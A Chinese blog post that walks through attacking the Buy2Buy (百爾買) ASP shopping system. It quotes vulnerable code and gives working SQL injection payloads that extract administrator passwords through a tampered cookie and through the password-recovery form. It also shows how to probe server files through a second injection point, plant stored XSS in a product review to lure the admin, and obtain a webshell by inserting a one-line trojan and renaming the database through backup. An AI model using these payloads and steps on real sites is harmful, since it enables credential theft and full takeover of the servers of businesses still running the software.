[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!

百爾買系統(tǒng)的幾個(gè)漏洞

一、 注入。
1. 發(fā)生在更改會(huì)員密碼的時(shí)候。
代碼:disuser2.asp

復(fù)制內(nèi)容到剪貼板

代碼:

sub changepass()
if strUserName="" then
response.Write "<center>請(qǐng)先登錄</center>"
response.End
end if %>
......中間省略?。?br /> <td width=50% height="25" align="right">用 戶 名:</td>
<td width=50% height="25" bgcolor="#FFFFFF"><font color=#FF6600>
<% = strUserName %></font></td>
</tr>
......中間省略?。?br /> <%
end sub

上面的代碼把strUserName變量輸出了.我們來看看這個(gè)strUserName 是怎么得到的!
在conn.asp里.
代碼如下:

復(fù)制內(nèi)容到剪貼板

代碼:

Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 1
Fy_Zx = "index.Asp"
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
Case "1"
Response.Write "
alert('出現(xiàn)錯(cuò)誤!參數(shù) "&Fy_Cs(Fy_x)&" 的值中包含非法字符串!\n\n??請(qǐng)不要在參數(shù)中出現(xiàn):;,and,select,update,insert,delete,chr 等非法字符!');window.close();
"
Case "2"
Response.Write "
location.href='"&Fy_Zx&"'
"
Case "3"
Response.Write "
alert(‘出現(xiàn)錯(cuò)誤!參數(shù) "&Fy_Cs(Fy_x)&"的值中包含非法字符串!\n\n??請(qǐng)不要在參數(shù)中出現(xiàn):;,and,select,update,insert,delete,chr 等非法字符!');location.href='"&Fy_Zx&"';
"
End Select
....中間省略?。?br /> strUserName = "非注冊(cè)用戶"
strTitle = "非注冊(cè)用戶"
if Request.Cookies("Buy2Buy")("username")<>"" then
set rsVip=server.CreateObject("adodb.recordset")
rsVip.open "select [User].GrpID,[User].UserID,[User].Score,[User].UserEmail,[User].Deposit,[User].UserName,b2b_userjb.GrpName,b2b_userjb.Stars from [User] Inner Join b2b_userjb On [User].GrpID = b2b_userjb.GrpID where username='"&request.Cookies("Buy2Buy")("username")&"' ",conn,1,1 ///這里直接把COOKIE里的USERNAME拼進(jìn)了SQL,漏洞產(chǎn)生了!
....中間省略?。?br /> strUserName = rsVip("UserName")
....中間省略?。?br /> set rsVip=nothing
End If

漏洞基本上和那個(gè)網(wǎng)軟購(gòu)物系統(tǒng)一樣.
代碼只對(duì)QUERT_STRING里的數(shù)據(jù)進(jìn)行了關(guān)鍵字的檢查.只對(duì)GET提交的數(shù)據(jù)進(jìn)行了檢查,而且檢查的還不夠嚴(yán)格!union asc() chr() 這種都沒過濾的.
利用方法:
先注冊(cè)一個(gè)會(huì)員。然后轉(zhuǎn)到會(huì)員中心,然后打開WSE,然后再修改密碼.截取發(fā)送的數(shù)據(jù)包.

把username=ninty改成

復(fù)制內(nèi)容到剪貼板

代碼:

Username=a'%20union%20select%20'1','1','1','1','1',userpassword,'1','1'%20from%20admin%20where%20''='

一個(gè)union查詢.因?yàn)閍是一個(gè)不存在的用戶,這樣就只會(huì)有union后面的那個(gè)select語(yǔ)句的結(jié)果出現(xiàn)在recoreset中.
strUserName = rsVip("UserName")
rsVip(“UserName”)取到的正好是userpassword列的值,賦給了strUserName.
然后就被disuser2.asp輸出了.
改后是這樣的:

用NC提交一下.

 

把結(jié)果輸出到了11.html里.打開后就看到密碼了.

2. 在添加友情連接的時(shí)候。發(fā)生在links目錄下的look.asp
按理說這個(gè)頁(yè)面應(yīng)該是只有管理員才能看的,因?yàn)樗€有添加與刪除連接的功能。不過這個(gè)文件里沒有任何驗(yàn)證權(quán)限的代碼。
而且這個(gè)注入點(diǎn)用處不是太大。
看代碼:

復(fù)制內(nèi)容到剪貼板

代碼:

flag=Trim(Request.QueryString("flag"))
....中間省略.....
id=Trim(Request.QueryString("id"))
set conn=server.createobject("ADODB.CONNECTION")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("links.mdb")
conn.open connstr
...中間省略....
if flag="1" then
conn.execute("update myoe_links set myoe_pass='Y' where id="&id)

很明顯,id直接加到SQL里去了.
不過因?yàn)橛亚檫B接用的是自己的一個(gè)數(shù)據(jù)庫(kù),所以這個(gè)注入點(diǎn)的用處并不大.
不過在知道另一個(gè)數(shù)據(jù)庫(kù)的絕對(duì)路徑的時(shí)候,到是可以跨到這個(gè)數(shù)據(jù)庫(kù)去查詢.
我在D盤放了一個(gè)數(shù)據(jù)庫(kù)a.mdb
在注入點(diǎn)后寫上查詢語(yǔ)句: and exists (select * from d:\a.mdb.ccc)
返回的是錯(cuò)誤頁(yè)面:

說明不存在ccc這個(gè)表,改成admin呢?
返回正常:


說明存在admin 表,和普通的注入基本上一樣.
再有一個(gè)小功能就是可以探測(cè)服務(wù)器上的目錄結(jié)構(gòu).不過也屬于雞肋級(jí)的....
比如:

現(xiàn)在提示的是找不到文件,說明c:\windows目錄是存在的!
換一個(gè)不存在的目錄試試.目錄不存在的時(shí)候會(huì)提示?。⒉皇且粋€(gè)有效路徑".
檢測(cè)非MDB格式的文件是否存在:

錯(cuò)誤說不可識(shí)別的數(shù)據(jù)庫(kù),表示文件是存在的,如果不存在還是會(huì)報(bào)文件不存在的錯(cuò)
3. 找回密碼:disuser2.asp

復(fù)制內(nèi)容到剪貼板

代碼:

set rs=server.CreateObject("adodb.recordset")
rs.open "select UserQuestion,UserAnswer from [user] where username='"&trim(request.form("username"))&"' ",conn,1,1
if rs.eof and rs.bof then
response.write "

查無此用戶,請(qǐng)返回!
"
else
...中間省略....
response.Write ""&trim(rs("UserQuestion"))&""
end if
rs.close
set rs=nothing

不多解釋了,在首頁(yè)點(diǎn)"忘密"
然后輸入a' union select userpassword,admin from admin where ''=',就看到管理員密碼了.同樣在更改密碼的時(shí)候,username也沒有過濾,也造成了可以更改任意用戶的密碼,不過沒啥太大的有處,因?yàn)楣芾韱T表和用戶表是分開的,我們不能更改管理員的密碼
二、 跨站.
發(fā)生在商品評(píng)論那里.B2b_plock.asp

復(fù)制內(nèi)容到剪貼板

代碼:

dim id,action
id=SafeRequest("id",1)
action=request.form("action")
if action="save" then
function HTMLEncode2(fString)
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "

")
fString = Replace(fString, CHR(10), "
")
HTMLEncode2 = fString
end function
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from review",conn,1,3
rs.addnew
rs("id")=id
rs("title")=HTMLEncode2(trim(request.form("title")))
rs("reviewcontent")=HTMLEncode2(trim(request.form("reviewcontent")))
rs("reviewdtm")=now()
rs("audit")=0
rs("ipaddr") = Request.ServerVariables("REMOTE_ADDR")
rs.update
rs.close
set rs=nothing
response.write "

"
response.write "您的評(píng)論已成功提交!
關(guān)閉窗口
"
response.End
end if

只用HTMLEncode2函數(shù)過濾了一下chr(13) 和 chr(10) 對(duì)我們并沒有什么影響
再看后臺(tái) 查看商品評(píng)論的代碼:
B2b_glshpl.asp

復(fù)制內(nèi)容到剪貼板

代碼:

20 then
response.write ""&left(trim(rs("reviewcontent")),18)&"..."
else
response.write ""&trim(rs("reviewcontent"))&""
end if%><td height="25">
<% if len(rs("reviewcontent"))>20 then
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&left(trim(rs("reviewcontent")),18)&"...</a>"
else
response.write "<a href=# onClick=""javascript:window.open('b2b_cm.asp?id="&rs("reviewid")&"','','width=310,height=190,toolbar=no, status=no, menubar=no, resizable=yes, scrollbars=yes');return false;"" title="&trim(rs("reviewcontent"))&">"&trim(rs("reviewcontent"))&"</a>"
end if%>
</td>

只是trim了一下.沒有過濾.不過這里不能直接輸入<script>alert(‘xxx’);</script>這樣的,注意代碼里,對(duì)字符串進(jìn)行了截?。惠敵鲎筮叺模保?jìng)€(gè)字符.這樣跨站代碼就不能正確執(zhí)行了.
不過title屬性那里的輸出可是沒有過濾的哦!
我們就利用這一點(diǎn)!
在首頁(yè)隨便找一個(gè)商品打開后,在評(píng)論的地方輸入: "我靠,我對(duì)這個(gè)產(chǎn)品有很大的意見?。?!"
寫的長(zhǎng)一點(diǎn).讓管理看不能一眼把所有內(nèi)容全看到,這樣他應(yīng)該就會(huì)去點(diǎn)這條評(píng)論.
,只要鼠標(biāo)移到這條評(píng)論上.跨站代碼就執(zhí)行了!

三、 拿WEBSHELL
1. ewebeditor 后臺(tái)用的是這個(gè)編輯器,而且管理員登陸頁(yè)沒有刪~
2. 上傳文件,備份數(shù)據(jù)庫(kù)
3. 在添加友情連接的時(shí)候,在郵箱處寫入一句話木馬,到后臺(tái)備份數(shù)據(jù)庫(kù),數(shù)據(jù)庫(kù)地址寫../links/links.mdb,就可以了 ,前提是連接的數(shù)據(jù)庫(kù)路徑?jīng)]有改;

 

問題未解決?付費(fèi)解決問題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信

所寫所說,是心之所感,思之所悟,行之所得;文當(dāng)無敷衍,落筆求簡(jiǎn)潔。 以所舍,求所獲;有所依,方所成!

支付寶贊助
微信贊助

免責(zé)聲明,若由于商用引起版權(quán)糾紛,一切責(zé)任均由使用者承擔(dān)。

您必須遵守我們的協(xié)議,如您下載該資源,行為將被視為對(duì)《免責(zé)聲明》全部?jī)?nèi)容的認(rèn)可->聯(lián)系老梁投訴資源
LaoLiang.Net部分資源來自互聯(lián)網(wǎng)收集,僅供用于學(xué)習(xí)和交流,請(qǐng)勿用于商業(yè)用途。如有侵權(quán)、不妥之處,請(qǐng)聯(lián)系站長(zhǎng)并出示版權(quán)證明以便刪除。 敬請(qǐng)諒解! 侵權(quán)刪帖/違法舉報(bào)/投稿等事物聯(lián)系郵箱:service@laoliang.net
意在交流學(xué)習(xí),歡迎贊賞評(píng)論,如有謬誤,請(qǐng)聯(lián)系指正;轉(zhuǎn)載請(qǐng)注明出處: » 百爾買系統(tǒng)的幾個(gè)漏洞

發(fā)表回復(fù)

本站承接,網(wǎng)站推廣(SEM,SEO);軟件安裝與調(diào)試;服務(wù)器或網(wǎng)絡(luò)推薦及配置;APP開發(fā)與維護(hù);網(wǎng)站開發(fā)修改及維護(hù); 各財(cái)務(wù)軟件安裝調(diào)試及注冊(cè)服務(wù)(金蝶,用友,管家婆,速達(dá),星宇等);同時(shí)也有客戶管理系統(tǒng),人力資源,超市POS,醫(yī)藥管理等;

立即查看 了解詳情